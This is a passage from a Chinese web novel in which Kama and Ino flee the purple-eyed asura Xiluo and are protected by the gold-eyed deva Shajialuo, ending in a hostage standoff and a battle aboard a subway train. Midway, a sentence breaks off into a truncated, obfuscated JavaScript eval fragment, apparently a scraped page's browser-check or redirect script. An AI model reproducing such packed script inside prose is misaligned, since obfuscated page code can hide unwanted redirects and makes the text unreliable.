“你应该很清楚,地表和距其五十米的范围是被称为‘生命禁区’的欧米迦污染层,源于前几个世纪人类对环境的极端破坏。”西洛说,“你若带着卡玛小姐跳下去,恐怕在落地之前,她就会立即失明,皮肤会被酸雾腐蚀灼烧,呼吸道和整个肺部都会化脓,虽然屏住呼吸还是可能安全着陆,可她又能坚持多久呢?最后等待她的,依旧是死亡吧?” 他再一次向卡玛伸出手。 “为什么就这么不愿意相信我呢?你知道我是非常希望你能安然无恙的……” 突然他的话停住了。 西洛的视线越过伊诺和卡玛,死死地盯着前方。 下意识地,卡玛顺着他的目光回头望去—— 断裂天桥的另一头,不知何时出现了一个漆黑、高大的人影。 他凝视着卡玛、伊诺和西洛,悄无声息。 “好像搅局的家伙出现了。”西洛冷笑一声。 如蝠翼般飘动的风衣,将秘密都藏匿于黑暗,这正是那个数小时前曾与她有过一面之缘的男人。 卡玛简直不敢相信自己的眼睛。 “是你?……”她喃喃低语。 “你认识他?”伊诺紧张地问,“他又是什么家伙?” 黑衣男人张开嘴,说了一个字: “跳。” “什么?”伊诺张大嘴,冲着他大喊大叫,“喂,你也听到了,下面是重污染层……” “跳!” 那男人似乎不喜欢别人质疑自己的话,不耐烦地猛然提高音量,顿时空中好似响起一声雷鸣,他的声音压过了呼啸的风,震得整栋大厦都仿佛微微打了个哆嗦。 “你——” 那个字中包含的能量连西洛也感到有些惊愕了,他的紫瞳眯成一条缝。 “你到底是什么人?” 面前是自称“阿修罗”的人物,连烈性炸弹都伤不到一根汗毛的家伙,当然不能指望能突围成功;身后是死亡深渊,再无退路。 随那紫毛怪去见所谓的“明帝”?那绝对是不可能的。 听这男人的话义无反顾地跳下去?那然后又该如何呢? 就在这时,卡玛突然看到那高大男人的胸前有个什么东西蠕动了一下—— 一个毛茸茸的脑袋探出他的领口,在那男人的脖子上嗅了嗅,接着又亲热地用鼻头去蹭他刮得铁青的下巴。 “O……OK?”卡玛的蓝眼瞪得滚圆。 男人皱着眉头将那小家伙重新塞进汗衫里,这个动作突然令他的威严增添了几分滑稽。 于是卡玛马上做出了一个决定。 “伊诺,我们走吧。”她居然在微笑。 “走?……去哪?哇!!!——————” 伊诺还没反应过来,卡玛就拉着他从天桥的断口纵身跳下! 在他的哀叫中两人坠入黑暗的云雾,转眼便没了踪影。 西洛大吃一惊,他完全没想到,对面的男人只说了一个字便让他们义无反顾地照着去做了! 他立即起步前冲。 这女孩是他的!他必须要将她完好无缺地带回帝拜! 谁也休想阻挠他! 然而就在他准备跟着跳下去的时候,对面突然闪起了耀眼的光。 璀璨的金色光芒来自那黑衣男人的掌心。 刹那间,他的身体周围出现了一个金色光环,当西洛看到那男人的手势和他手臂上缠绕着的光之上古咒文,不由惊道: “你是——” 快闪开,西洛! 在库巴和那塔的厉声警告中,黑衣男子的掌心出现了一个拳头大小的黑色光球。 三生无落叶秘法·狮子奋迅咒·天王释暗波! “释暗波”虽不起眼,但出手后威力却大得不可思议——当它接触到双子星大厦时立即扩散成为半径达到三十米的光球,被击中的那座大厦立即被挖了个大洞,受创部位承受不住压力,在沉闷的鸣叫中大厦的上半截缓缓倾斜,最终开始坍塌。 “上面到底发生什么事啦?!”伊诺耳边风声大作,再加上震耳欲聋的爆炸声,他连自己的声音都听不到。 “卡玛!卡玛!——抓紧我,千万别松手!” 两人在空中急速下坠,剧烈爆炸产生的冲击波从天而降,伊诺终于抓不住卡玛了,眼看着她的手一点一点地滑出自己的掌心,他急得不知所措。 突然两人之间闪出一个黑影,紧接着那黑影一手拉住卡玛将她抱在怀里,一手抓着伊诺,在即将坠入重污染区的前一刻,他张开一个金色的球状光罩,将三人护住。 卡玛突然觉得呼吸顺畅多了,也顾不上许多,立即贪婪地深吸了几口气。 之后她才发现自己正倚靠在一副厚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好了好了。”伊诺开口了,“我想该好好谈谈了——我觉得在逃出生天之后,我们的首要任务是尽快将事情弄明白,而不是讨论可爱的宠物,对吧?” 他打量着那黑衣男人。 “你叫刹迦罗?——你跟卡玛似乎认识?你究竟是什么人?这又到底是怎么回事?” “你好像很在意卡玛小姐与我相识这件事。”刹迦罗说。 “没错……哦,不,我当然不会在意这个!”伊诺插着腰在过道上踱来踱去,“刹迦罗先生,对于你的帮助我们非常感激,但……” “伊诺先生,其实我有一个建议,你不妨考虑一下。” 伊诺吃惊地盯着他,但他戴着墨镜,什么也看不出来。 “你怎会知道我的名字?我想我应该从没见过你。” “伊诺先生,下一站……”刹迦罗看了看旁边的显示屏,“下一站是阿南塔广场,你应该在那里下车。” “下车?……”伊诺莫名其妙,“我为什么要下车?” 卡玛欲言又止。 “整件事情和你完全没有关系,把局外人牵扯进来是没有必要的。”刹迦罗淡淡地说。 “没有关系?局外人?”伊诺目瞪口呆,“喂,大个子,你要弄清楚,我跟卡玛可是在一起工作了五年的老搭档,今天中午我们在贫民区遭到阿修罗的袭击,那家伙在蝎巢杀人我也在场,他要卡玛跟着他走,那可是我把卡玛给救出来的——我怎么就变成局外人了?如果我是局外人,那你是什么?” “伊诺。”卡玛拉住他,“冷静些。” “卡玛,你也觉得我待会应该下车是不是?”伊诺不悦地问。 “我……”卡玛倒也不知该如何回答了。 她的直觉告诉自己,刹迦罗的话是对的,红毛怪和紫毛怪都是冲着她和阿汉而来,确实和伊诺没有什么关联。 “在蝎巢你们也看到了,对方对于杀人这种事情毫不在乎。”刹迦罗平静地说,“卡玛小姐,如果你想保护你的朋友,最好的办法就是和他们保持距离,否则他们或者可能被杀,或者可能成为对方用以要挟你的筹码。” 他的话令卡玛想到了蝎子。 “你怎么可以把蝎子的死怪到卡玛头上?!”伊诺怒不可遏,“你的意思是说因为卡玛去向蝎子寻求帮助,所以才导致他和蝎巢里的人被杀吗?” “这样说也没错。”刹迦罗点了点头。 “如果不是因为那群笨蛋警察多管闲事大惊小怪,卡玛也不会被逼到污染区去找蝎子!”伊诺恼火十分,“如果说那家伙是卡玛引到蝎巢去的,不如说蝎子是被白痴警察害死的吧!” “这样说起来,如果不是因为今天你们冒充世界集团的机械师混进贫民区里做黑工,便不会撞到那个阿修罗,也不会和警察纠缠上。”刹迦罗摊开手,“如果要追究起来,似乎就没完没了了,在这种问题上浪费时间,好像没什么意义吧?” 伊诺卡壳了。 因为向卡玛提议去贫民区找活干的不是别人,按照那样的逻辑,阿汉下落不明,卡玛被追踪,蝎子的死,他自己也脱不了干系。 忽然他瞪着刹迦罗,冷冷地说: “刹迦罗先生,你知道的事情可真不少——莫非老早就盯上我们了?” 伊诺说出了卡玛在想的事情。 第一次见到刹迦罗,那是在污染区地铁上,当那几个人对她意图不轨时他恰好在同一节车厢内,他帮了她的忙,之后便下了车——一切都是那样的平常。 然而第二次再见到这个男人,便全都不一样了。 这次不可能再是“恰好路过”了,他是专为她而来,就跟紫毛一样。他展现出的奇异力量比她在地铁上所见到的更加匪夷所思,而且他对她今天的遭遇了若指掌,仿佛从头至尾他都一直在某处静静地观看,到了关键时刻再采取行动,一如刚才。 被人“窥视”的感觉对卡玛来说当然很不好受,她不喜欢藏匿在暗处鬼鬼祟祟的东西。刹迦罗在地铁上与她的相遇是否是事先便计算好的?那几个流氓也是被安排好的吗?这样他就可以上演英雄救美,以便初次见面就令她就对他产生好感?西洛的出现是否也是某个计划中的一部分?刚才他干净利索地完成了一次超高难度的救美行动——伊诺是附属品——是否也期望以此从她这里获得回馈? 为什么从不让她看到他的眼睛?他的墨镜下藏着什么东西? “你们对她,到底有什么企图?”见刹迦罗不言语,伊诺又问。 “说话呀!这样就没话说了吗——” 突然他从座位上起身,以快得不可思议的动作卡住伊诺的脖子,仅用单臂便把他整个人举到空中! “放……放开他!”卡玛被他突如其来的动作吓了一大跳,下意识地伸手对准了那男人。 伊诺抓着那男人的手臂,刹迦罗的手臂简直像是铁铸的一般,钳子似的手掌上传来的力道大得惊人,伊诺几乎能听到自己脖子里的机械在咯吱咯吱地呻吟,虽然并没有痛感,但他毫不怀疑这家伙能空手捏碎他的脖子,让他的人造人体再度宣告报废。 “既然我提出的建议你不打算采纳,那么现在我就只好下命令了。”刹迦罗冷冷地说,“伊诺先生,你似乎还没有搞清楚状况,你的搭档已成为帝拜的目标,而现在唯一能够保护她的只有我,我耐心很有限,不喜欢别人质疑我的话,也没空去照顾闲杂人等,并且我没必要向你解释原委,你和她是什么关系我也没有丝毫兴趣。” “唔……唔……”伊诺翻着白眼,他觉得他的脖子马上就要断了。 车窗外闪出一片明亮,阿南塔广场站已经到了。 车门打开,刹迦罗毫不客气地把伊诺丢了出去。 “咳!……”伊诺揉着脖子,恼怒而不甘地冲着那男人大嚷。 “卡玛是我朋友,凭什么她有了麻烦要让我出局?!……”他从地上爬起来,在站台上挥着手臂,“你这种来路不明的家伙,谁知道安的什么心——卡玛,你不要相信那家伙,他肯定也不是什么好东西!——” 刹迦罗根本没理他,只是冷冷地站在车门口。 当车门重新合上之前,他说了句只有伊诺和他自己才听得到的话: “须弥和帝拜的事,凡人就不要多管了。” 列车重新开动,伊诺眼睁睁地看着卡玛和刹迦罗的身影离自己越来越远,直到列车出站,他才沮丧地在站台上找了张破旧的候车闷闷不乐地坐下。 简直是…… 实在是太不可理喻了! 他是真的想帮卡玛啊,而且他的确帮得上忙,他不是没用的家伙,为什么那个可恶的大个子要这样对他? 那家伙满口胡言乱语,什么帝拜,什么须弥,什么阿修罗——他以为自己已经够沉迷于那些神话的了,想不到那人比他还要离谱! 酷一点,高大一点,力量强一点,就很了不起吗? …… 现在他又该怎么办?等下一班地铁跟上去?可他又不知道他们会在哪里下车,真是该死,他应该坚持到底的,那大个子够狠就把他杀了呀,也好让卡玛看看清楚,这家伙到底是个什么货色! 伊诺气了一会,觉得这样也不是办法,他知道这事情肯定还没完,他应该尽快做好准备,然后留意接下来阿什提市内的动静。 或者,他可以去找找阿汉?…… 是了——利用他的关系情报网,肯定能查出那天在警察局里到底发生了什么事,一辆货柜大卡车和一个身高两米的巨人无论在什么地方都再显眼不过,如果他能想办法把卡玛的卡车和阿汉找到,就肯定有机会跟她重新接上头,卡玛不可能放弃这些,卡车里有她的备份记忆,还有备用躯体,以及各种重要的资料和工具…… 就算这些都不要,伊诺也知道卡玛是一定不会抛下阿汉不管的。 那女孩是阿汉照看着长大的,如果那男人真是卡玛的保护人,那么卡玛就一定会要求他帮忙救阿汉。 就这么办。 打定了主意,伊诺起身便要朝地铁站外走去。 然而就在此时,他忽然感到背后有点冷。 “你是卡玛小姐的朋友吧?” 那三个交叠在一起的声音从身后传来,伊诺只觉得自己的身体都开始不停使唤了,他命令自己要逃,可脚却偏偏像灌了铅一样沉得动弹不得,虽然身体是人造的,可那股阴沉的气息却依旧能让他浑身发抖。 他知道自己如果开逃,就一定会死。 他僵硬地转过头。 “一个人呀……他们还在车上?” 紫发紫瞳的年轻男子微笑着。 他依旧保持着光鲜的外表,完全不像刚刚在污染区经历过大爆炸。 “不介意的话,走一趟吧。” 西洛笑眯眯地说。 8. 第 8 章 没了伊诺,车厢内突然安静了许多。 可这却令卡玛感到不安。 那个男人依然坐在她对面,懒散地将左脚腕搭在右膝上。 车轮和铁轨发出咝咝的摩擦声,旁边一个车厢内接触不良的灯管噼噼啪啪地闪烁着,一眼望去连续几节车厢都没有人,卡玛甚至在想,他们是否就是这趟地铁上仅有的乘客。 OK安静地趴在卡玛的膝头,被她冰凉的手触碰到时它有些不安,但随后便温驯地用自己的身体去温暖她的手。 忽然那男人站了起来,来到她面前。 卡玛呆呆地望着他,不知他想要做什么。 他默不作声地脱掉外衣,然后丢给了她。 “披上。”他说,口气还是硬梆梆的。 卡玛照做了。 那件尺码宽大的风衣顿时解决了很大问题,她能感觉得到,衣服上还带着他的体温,披在身上,她立即被他身上淡淡的雄性味道包围——这味道也令OK开心,它索性钻进风衣的袖子里,然后将毛茸茸的小脑袋探出来东张西望。 卡玛笑了笑,将目光重新投向他。 他上身只穿着一件黑色的短袖汗衫,见他一副无动于衷的样子,卡玛便小声问: “你……不冷吗?” “没关系。”他淡淡地说。 也是,他身材高大,体格健硕,想必这点凉意对他来说根本就不值一提。卡玛的视线触到他交叉在胸前的手臂上线条清晰的肌肉,虽不至于像阿汉树干似的胳膊那般夸张,但看上去也非常强壮……他大概三十出头,棱角分明的脸庞,线条粗悍的下巴上青光闪闪的胡茬,但凡处在那个年龄层的男人所特有的优秀气质,都在他身上有极为明显的体现:彪悍,沉稳,睿智,性感。卡玛虽然年轻,但她阅历丰富,也算阅人无数——她觉得这是她所见到的男人当中最有魅力的一个,就像海一样深不可测。 她突然发现他看起来居然如此的完美,全身上下挑不出一丝破绽,这样的人背后会有怎样的故事?为什么会突然出现在她身边,并声称自己是她的保护者? “你不属于这里。”卡玛突然说。 “什么?”他微微扬起眉。 “你不属于这里。”她重复了一遍,“我的直觉。” “你的直觉还告诉你什么?”他仿佛并不拒绝与她交谈。 “你是极有背景的人。”她望着他,像是试图努力将他看穿,“你的力量与这背景有关。” “你会读心术?”他问,“那也是你的能力之一?” “如果我会这个就好了。”她耸了耸肩,接着她继续说了下去: “你很冷漠……你不喜欢遭到反驳,别人如不顺从你很容易失去耐心并变得暴躁。” 他忽然笑了。 “认识我的人会很赞同你所分析的前半部分。”他说,“不过他们一般不会把我称为暴君。” “我没说你是暴君。”卡玛否认。 “我知道你在生气。”刹迦罗说,“因为我刚才对你的朋友无礼。” “你很野蛮,并且有暴力倾向。”卡玛懒得掩饰她的想法,“我认为这与你的外表不符。” “从我的外表判断,你觉得我应该是怎样的人?”他反问。 “就算不能做到优雅得体,也至少不该是个暴力主义者。” 该死……老毛病又犯了,开口说不了两句就带上火药味,与人相处她永远不及格——伊诺大大咧咧,哪怕被她骂个狗血喷头也是笑嘻嘻的;阿汉一年下来说的话不会超过十句,每次她生气或发牢骚他只会安静耐心地坐在她面前聆听,久而久之她已习以为常。 “我不觉得自己优雅得体,但我也觉得自己不是暴力主义者。”刹迦罗倒也不恼,或许是他觉得没必要跟一个年轻女孩较真。 “但我想在某些状况下,暴力的确更能解决问题——当他们要把你带走而你不希望如此的时候,劝说、解释、谈判等交涉手段似乎并不奏效吧。” “你会伤害我吗?”她望着他。 他愣了愣。 “不。”之后他又补充了一句,“——我会保护你。” “为什么那些人要带我走?‘帝拜’是什么地方?你又是从哪里得到关于我的消息?……你到底是什么人?”卡玛终于忍不住将心中的疑问全都抛向他,她的蓝眼睛中闪着恳求的光,“你会帮我,对不对?” 他轻轻地叹了口气,然后点了点头。 “你一定知道很多我不明白的事,如果你愿意帮我,就告诉我为什么。”卡玛说,“什么阴谋,什么计划都好,我不想这样被蒙在鼓里,这些事和我有关,我想我应该有权了解真相。” “真相。”他的嘴角扯出一道没笑意的弧线,“不同的人眼里会有不同的真相,看到自己想看到的,相信自己愿意相信的,那些就是真相——” “告诉我你知道的。”卡玛用命令的口吻说,“我现在只想知道从你这里能得到什么答案,要不要相信,我自己来确定。” “你的确很有个性。”他笑道。 “这话已经让我很烦了。”她不悦地说,“我没觉得这有什么大不了,也没什么值得夸耀,别人说这话一般就表示接下来他要转移话题,我希望你跟其他人不一样。” “好吧。”他点了点头。 “其实我所了解的信息也相当少——我接到了一个委托,委托的内容是要保护一个女孩,至于她是谁,为什么要保护她,在她身上会发生什么事……我也很想知道。” “你不知道我是谁?你也不知道为什么要保护我?”卡玛目瞪口呆地看着那男人,“这种不清不楚的委托,你为什么要接受?” “事实上,与其说这是委托,不如说是命令。”他说,“那是我不能拒绝的,哪怕我没兴趣,也只能执行自己的任务。” 卡玛不相信这个。 他绝对是非同一般的人物,而她不相信还有人能凌驾于他之上,她无法想象能对他发号施令而他“无法拒绝”的人会是什么样。 “谁是你的委托人?”她问。 “这我不能告诉你。”他摇了摇头,“你应该了解的。” “为什么你知道我那么多事?” “通过一些手段,我可以收集到相关的情报。” “伐由系统吗?”她突然一闪念,“你是政府机构的人?” “不。”他予以否认。 卡玛不认为这个男人会欺骗她,因为没有必要。 她也明白他有所保留。 他会有选择地告诉她一些“她可以知道的事情”,或者是把一些事情的“关键部分”剔除,留给她一个包含许多悬念与暧昧的版本,除此之外就算她逼迫他也得不到解答——当然她也压根做不到。 因此只有选对问题,根据他回答中的零星碎片,拼凑出一个大概。 “为什么你认定我就是你要保护的人?”她问。 “我有我的理由。”他淡淡地说,“你现在的处境可以说明一切问题。” “但我不明白。”卡玛问,“他们到底想从我这里得到什么?我从未见过那个人,我只是一个机械师,在阿什提市做黑工,像我这样的机械师还有很多,我不认为我曾招惹过什么人。” “他对你说过些什么?” “他说他要带我去‘帝拜’。”卡玛说,“他说在那里有一个被他们称为‘明帝’的人要见我,他还说那个‘明帝’交代说如果我不愿意合作,把我的头颅砍下来封存好带回去也一样。” 刹迦罗的脸色变得有些凝重,但他什么也没说。 “他当着我的面打开了一道充满光的门,‘帝拜’究竟是什么地方?”卡玛急切地问,“‘明帝’又到底是什么?我对他会有什么利用价值?” 见他像是陷入沉思,卡玛无奈地望着他。 “先生,如果你知道什么,就请告诉我吧,求求你。” “小姐。”刹迦罗有些伤脑筋地抿着嘴唇。 “如果是在两个世纪以前或者是更久远的年代,不用你追问,我也很乐意告诉你,这样可以省却很多麻烦。然而现在是个没有信仰的现实时代,包括你在内,几乎每个人对周遭世界的了解都仅限于新闻、报纸、电视、网络等媒体上流传的信息,因此如果我把我所知道的告诉你,非但不能消除你的疑惑,反而会让你更加困扰,同时我也会因此而感到困扰。”他低沉地说,“这就是为什么我一直在回避回答你的提问,说出来你也不会相信,就是这样。” “你想告诉我那些关于‘阿修罗’的传闻都是真的,对不对?”卡玛说,“神话中的魔鬼是存在的,而我现在就是他们企图毁灭世界计划之中的一部分?” 见他不置可否,卡玛笑了笑。 “说实话,你真不应该把伊诺轰下车——他对那些古老的神话传说有着异乎寻常的浓厚兴趣,如果说这世上还有人相信阿修罗的存在,那么他就是其中的中坚份子,他一直在寻找各种证据要让我相信这一点,有的时候我觉得他不应该是个机械师,而应该去研究神学和考古学。” “如果我说,我不是人类呢?”他突然冒出这么一句。 卡玛愣住了,她盯着他的脸上半开玩笑半认真的神情,她知道他在期待自己的反应,可她实在不知该如何回应才好。 “何必浪费唇舌呢?” 突然车厢内传来了第三个声音。 “反正她跟其他人类一样,都是不会相信的。” 卡玛惊得转头望去,只见车厢的另一头不知何时出现了一个人影,在闪烁的灯管旁,忽明忽暗的他活象个无所依附的幽灵。 不是别人,正是西洛。 刹迦罗立即起身,用高大的身躯挡住卡玛。 “待着别动。”他命令道。 “明帝大人早已预料到那三位老人会采取行动,不过倒没想到他们会直接从须弥派人下来。”西洛打量着刹迦罗,“虽然不知道你在须弥是什么位阶,不过也跟其他混在摩诃里的一样,使用的是自己的机械化身吧?这样的话原本的力量能发挥多少?1%?还是1‰?” 机械化身? 卡玛大吃一惊。 刹迦罗的身躯,居然也是机械体? 等等…… 这世上她所见过的机械体,除此之外——倘若刹迦罗使用的真的是机械身体的话——还有另外一个,能够达到这种匪夷所思的完美。 莫非……这个男人与阿汉也有什么关联? …… “的确受到了不少限制。”刹迦罗没有注意到身后卡玛的反应,只是低沉地说,“不过要破坏一个刹帝利级别的阿修罗,也不是太困难的事。” “哦?是吗?”西洛笑道,“很有自信的样子啊。” 话音刚落,他的左手便突然“闪”了一下。 卡玛发誓她看到西洛的左手在那一瞬间动了一下,可他的动作实在是太快了,根本无从察觉他做了些什么。 噌—— 刹迦罗和西洛之间的一根车厢扶手突然全无征兆地断开了,当啷一声掉在地上滚到一边。 断口整齐平滑,仿佛被什么及其锋利的东西切开一般。 吧嗒—— 在扶手断开的同时,另外两个黑色的东西掉在刹迦罗的脚边。 卡玛定睛一看,发现那是副从中央被斜切成两半的墨镜。 “卡玛小姐,难道你不想看看,你的保护人有双多漂亮的眼睛吗?”西洛微笑着说,“那可不是一双属于人类的眼睛啊。” 不等卡玛探头去看,刹迦罗便将自己的脸转了过来。 卡玛从未见过如此锐利的眼神。 那是双不可思议的金色眼瞳——真真正正的金黄色。 一对金瞳和一双蓝眼直愣愣地对视片刻之后,他别开了脸。 “我已整整两百年不曾杀过阿修罗了。”他的口气淡漠,“这次重返摩诃,就从你开始吧。” “两百年能改变很多事。”面对刹迦罗骤然而起的杀意,西洛毫无怯色,“拜明帝大人所赐,如今的阿修罗已今非昔比,任由须弥摆布的时代已经过去了。” 他冷笑一声。 “被杀的,也许会是你啊。” 刹迦罗微微一笑。 “那就让我来看看,帝拜到底有没有对抗须弥的资格吧。” “请稍等片刻。”西洛说,“在来这里的路上,我恰好遇到了之前与你们一道的那位先生,我觉得他也许能为我完成任务增加筹码,因此就把他一同带来了。” 他这样一说,刹迦罗和卡玛才发现在西洛身后,有一个人正垂着头靠在椅背上。 “伊诺。”卡玛低叫一声。 “我让他的机体停止了运作。如果在这里战斗,卡玛小姐的朋友就会有生命危险。”西洛说,“所以出手之前请阁下考虑妥当。” “原来,脱胎换骨的阿修罗开始懂得使用人质来进行要挟了。”刹迦罗嘲讽地说,“比起以前似乎的确长进了不少。” “过奖了。”西洛笑道,“我只不过是为了完成任务而不择手段罢了,说起来,阁下不也与我没什么区别吗?我们都是为了卡玛小姐而来,只要能得到她,做什么都无所谓——我拿她的朋友当人质,而你则先从她的宠物下手,再以种种关怀的举动博得她的好感,之所以这样做,是因为她对我们都有利用价值吧?” 盯着刹迦罗的黄金之眼,西洛一字一句地说: “没有善与恶的区别,不过是利益和欲望的驱使,天神和阿修罗,谁会比谁高尚呢?” 天神……和阿修罗? 这金目大汉说紫毛怪是“阿修罗”,还说“自己不是人类”,难不成…… 刹迦罗面无表情。 “把卡玛小姐交给我。”西洛说,“否则我就杀了他。” “这个男人与我的使命毫无关联,这种威胁似乎对我没有用。”刹迦罗说,“用他来进行要挟,说明你没有自信能够杀了我。” 西洛没有出声。 “我可以给你一个忠告。”刹迦罗冷道。 “不要,尝试,触怒我。” “哦?触怒了你会怎么样呢?” 刹迦罗不言不语,抬起左手对准西洛。 他的手臂上再度出现奇特的金色光纹,掌心中凝聚起来的力量形成了一个不断增大的黑色光球,随着能量密度的提高,地铁的颠簸开始加剧,黑光球并不起眼,然而威力却大得惊人。 刚在双子星大厦吃了苦头,然而他却没有一点要闪躲的意思,当蓝发女孩焦虑不安地望着金瞳大汉时,西洛的嘴角扬起一丝微笑。 “你这样会把伊诺也一起杀死!”卡玛试图阻止他。 “我给过他机会的。”刹迦罗说,“既然他已对我的任务构成阻碍,我也没有其他办法。” “不,你肯定有,只是你不愿意!”卡玛叫道,“你——你是‘天神’,多保护一个人对你来说真的很难吗?” “卡玛小姐,‘上界’里的天神奉行的是唯我独尊,自恃‘高位者’的他们,对阿修罗和人类这些属于‘下界’的生命,从未在乎过。”卡玛的神情全被西洛看在眼里。 “不是这样的!——”卡玛恼怒地瞪了西洛一眼,又望着刹迦罗的脸,“他在胡说,我知道你不是那种人!” “须弥有很多慈悲为怀的天神。”刹迦罗无视女孩口气中的央求,冷硬地说,“但很遗憾,我不是。” “卡玛小姐,你的伙伴很快就要成为牺牲品了。”西洛说。 刹迦罗手中的黑色光球已将能量积攒到了顶点,蓄势待发。 “一个蝎子还不够吗?”西洛冷笑道,“难不成要身边所有人都为你死?” 听了这话,卡玛心头一痛,也不知从哪里来的勇气,竟然朝刹迦罗扑去,想推开他的手。 “别过来!”刹迦罗低吼。 但已经晚了,卡玛哪里知道刹迦罗此时正处于战斗状态,左半边身躯等同于高能量体,接触他几乎是不可能的,卡玛的手刚刚触到刹迦罗泛着金光的手臂,便感到一阵恐怖的巨力袭来,她眼前一黑,还没反应过来她便已被抛出十余米之外,重重地撞在车厢之间的隔离门上。 与此同时,西洛突然不见了。 刹迦罗立刻冲向卡玛,尽管他动作极快,阿修罗仍抢在了他前面——西洛的身影在卡玛身边闪现,在她倒下去之前扶住了她的肩。 “站住,天神。”西洛伸手阻止刹迦罗继续前进。 刹迦罗停下脚步,与西洛和卡玛的距离不到三米。 “听说因为机械化身的限制,摩诃的天神都不能使用瞬间移动术?”西洛笑道,“现在你该明白我是怎样带着伊诺先生赶上这趟地铁的吧?——噢!——” 他的话突然被打断,卡玛咳了一声,朝着西洛的脸喷了口血,紧接着一个转身伸手瞄准他的胸口,西洛只当她已经被撞昏过去,全然没料到她还能行动,如此近的距离下他根本来不及闪躲,便被她发出的蓝色光弹击中。 卡玛觉得胸口像塞了团棉花,憋闷得她几乎无法呼吸,咳出血后才好受了些,但刚才的撞击对她的身体来说过于猛烈,此时她感到自己浑身的骨头都快要散架了。 她踉跄了几步,一个高大的身影欺近她,楼住了她的腰。 西洛用手擦试着脸上的蓝色血迹,他的胸膛被穿了一个拳头大小的洞,但他并不在乎,身体受创的部分开始迅速自我修复,看到本已到手的女孩落入那金瞳大汉怀中,西洛立即追了上去。 刹迦罗冷笑一声。 “我知道你是怎么带着那男人上车的,同时我还知道——” 他眼中金光一闪。 三生无落叶秘法·狮子奋迅咒·天王释暗波! 西洛的瞳孔猛地缩成一点。 爆炸产生的火光和巨响中,两节车厢被各毁了半截,剧烈的颠簸之后地铁继续运行,刹迦罗抱着卡玛站在车厢断裂处,凝视着那几节带着浓烟逐渐减速远去的车厢,直到它们消失在漆黑的隧道里。 “你还好吧?”他把卡玛放到座椅上。 她轻轻点头。 “下次,”他低声说,“不要再做这种事。” 卡玛当然知道他指的是什么,但令她意外的是他语气中的歉然。 “对不起,我不知道会那样。” “不是你的错。”他看了看自己的手臂,低声说,“让你因我而受伤,是我的过失。” “他怎么了?”卡玛望着黑漆漆的隧道。 “被我的释暗波击中了。”刹迦罗说,“虽然他可以使用瞬间移动术,但每使用一次都需要经过一段时间后才能使用第二次。” “但他说,身为‘天神’的你却不能使用那种能力。”卡玛盯着他的脸,像是要从他的神情中挖出些什么。 那双金黄色的眼瞳,怎么看也看不够。 “只有当我使用这具身体时才无法使用。”他说。 “这具身体?”她忍不住伸出手摸了摸他的胳膊——那触感简直和真正的人类身体没有区别,尽管这个金瞳男人浑身都是谜,但从职业角度出发,他的身体是最吸引她的地方。 “你的身体完美无缺。”她给出评价。 她发现自己的想法和说出来的话非常暧昧,不由自主地笑了。 “你现在相信我的话了?”他问。 “什么话?”她反问一句,起身向一旁的伊诺走去。 “我的任务。”他披上风衣,将OK放在自己肩上。 卡玛为伊诺检查系统,没有回答他。 “虽然你相信与否并没有什么关系,但我还是希望你能予以合作。”他边伸手去逗弄OK边说,“他们一定不会善罢甘休,而我希望你能接受我成为你的保护者,而不是一有机会就像只受惊的小兔一样从我身边逃走。” OK冲着他的手指又嗅又舔,亲热十分。 “卡玛?”他低唤道。 卡玛叹了口气,停下了手里的事,直望着他的眼。 “刹迦罗先生,到现在为止,你给我的感觉一直很不错,OK很喜欢你,而我也觉得你不是坏人——但我觉得你还缺乏诚意。” 刹迦罗愣了愣。 “你还有事情没有告诉我。”说完她继续忙碌。 “很多事情连我自己也不清楚。”他微微蹙眉,“如果我知道些什么说出来能消除你的疑惑,我会很乐意告诉你的。” “如果你说你来自未来——过去也行,或者你说你是天神、上帝、魔鬼、外星人、生化人、机器人,我都不会认为你是疯子。”她说。 “可你不相信我。”他有些伤脑筋,“你究竟想知道什么?” “先生,你还没有弄清楚问题的关键。”卡玛也有些伤脑筋。 “问题的关键是什么呢?”他问。 “一个故事。”她说,“一个完整的故事——你是什么人,我是什么人,那个紫毛怪又是什么人,你为什么要来保护我,他为什么要来找我,要让我相信你的话,首先你得有一个能自圆其说的故事不是吗?” “但我确实只能回答其中两个问题:我是一个天神,我来保护你是因为有人叫我这样做。”刹迦罗觉得自己已经很诚实了,可这女孩却似乎总也不满意,天,她是被保护的,要费神应付阿修罗确保她人身安全的是他呀,敌人在暗他们在明,永远也不知道下次遇袭是什么状况,她只要乖乖待在他身边“接受保护”就对了,怎么会有如此多的问题? 三连神并不是第一次委派他执行秘密任务,他们从来不会给予太多的信息,很多时候直到他完成任务也不明白他们究竟是什么用意,很久以前他也曾经问过,但得到的回答全都似是而非,久而久之,他已习惯不再多问了,而在完成任务的过程中通过各种迹象将真相一点一点地拼凑出来,尝试猜度三连神的意图,便成了他的消遣。 当然这种事情他不能让那女孩知道。 “就像军人一样,他们的天职是服从命令而不是发问。”他打了个比方。 “须……”她好容易才开口,却卡了壳。 “须弥。”他提醒道。 “须弥的‘天神’,都像你这样吗?”她问,“都和军人一样?只是接受上级的命令行事,而从来不问原因?” “……” “还是你们根本就不在乎‘原因’?因为‘他们’的命令是绝对的?”卡玛没有注意到他表情的变化,继续捣鼓着伊诺的后颈。 见他只是站在自己身边,半响没有说话,卡玛奇怪地抬头望着他。 “你怎——” 她愣住了。 那男人的脸上,挂着苦涩的笑。 “不,须弥跟摩诃一样,有各种各样的天神,充斥着喜怒哀乐七情六欲。”他有些自嘲地耙了耙头发,却没了下文。 “但,你不是?”卡玛小心翼翼地接道。 “我曾经是。”刹迦罗低沉地说。 卡玛发誓,一霎那间她看到男人的眼中闪过一丝异样。 “你好像不很开心的样子。”她有些不是所措,“我……我不知道你原来也有过故事。” 他笑了。 “天神是永恒的,那么长的生命,怎可能没故事?也许是太多了,早就无所谓了罢。” “刹迦罗……” 咝—— “喂,喂喂!你们两个在干什么?” 冷不防第三个声音在耳边响起,卡玛被吓了一跳。 “伊诺,你搞什么啊!”她不客气地敲着那男人的脑袋。 “你们两个,刚才四目相对,越凑越近啊。”伊诺抱着头,看了看卡玛,又瞪着刹迦罗,“喂,你对卡玛做了些什么?” 